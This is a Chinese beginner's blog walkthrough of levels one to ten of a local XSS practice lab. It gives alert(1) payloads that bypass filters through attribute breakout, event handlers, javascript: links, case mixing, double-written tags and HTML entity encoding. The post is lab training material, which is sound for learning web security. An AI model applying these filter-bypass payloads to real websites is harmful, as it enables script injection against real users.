小白简述XSS靶机(一)

配置环境

虚拟机:Windows7–>IP:192.168.50.248
工具:phpstudy5.4.45
浏览器:火狐渗透版
靶场:

链接:链接:https://pan.baidu.com/s/1l1T1K0QyJrnv22vabC6pRw 
提取码:t6z4 

第一关

在这里插入图片描述
先输入XSS的代码

<script>alert(1);</script>

在这里插入图片描述
直接弹窗了,第一关没啥难度

第二关

还是一样,先输入代码

<script>alert(1);</script>

在这里插入图片描述
发现输入的代码打印出来了,按F12查看一下,发现value属性没有加过滤,直接闭合
在这里插入图片描述

输入代码

"><script>alert(1);</script>

在这里插入图片描述

第三关

直接输入

"><script>alert(1);</script>

在这里插入图片描述
发现输入的也是直接打印出来了,还是按F12查看一下,发现尖括号被转义了
在这里插入图片描述
重新构造pyload,鼠标在搜索框里过一下

' onmousemove='javascript:alert(1)

在这里插入图片描述

第四关

直接输入上关的代码
在这里插入图片描述
输入的被打印出来,按F12查看,发现单引号未闭合
在这里插入图片描述
改换成双引号,鼠标移动到搜索框

" onmousemove="javascript:alert(1)

在这里插入图片描述

第五关

使用上关的代码
在这里插入图片描述
输入的被打印出来的,按F12查看,ON被过滤了
在这里插入图片描述

使用html的标签过,并点击搜索框旁边的尖括号

"> <a href='javascript:alert(1)'>

在这里插入图片描述

第六关

使用上关的代码
在这里插入图片描述
输入的被打印出来的,按F12查看,href被过滤了
在这里插入图片描述
使用大小写绕过

"><ScRiPt>alert(1)</ScRIpT>

在这里插入图片描述

第七关

使用上关的代码
在这里插入图片描述
输入的被打印出来的,按F12查看,script被过滤了
在这里插入图片描述
使用双写来绕过

"> <scrscriptipt>alert(1)</scrscriptipt>

在这里插入图片描述

第八关

使用上关的代码
在这里插入图片描述
发现输入的并点击友情链接都给打印出来了,按F12查看,发现是汉字
在这里插入图片描述

那么HTML实体编码并点击友情链接

javascript:alert(1)
&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;

在这里插入图片描述

第九关

使用上关的代码
在这里插入图片描述
提示连接不合法,那么重新构造一下

javascrip&#x74;:alert(1)//http://www.baidu.com

在这里插入图片描述

第十关

输入"><script>alert(1);</script>
在这里插入图片描述

输入的打印出来了,按F12查看
在这里插入图片描述
发现t_sort可以使用,构造pyload,并点击搜索框

t_sort=" onclick=alert(1) type="text"

在这里插入图片描述

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值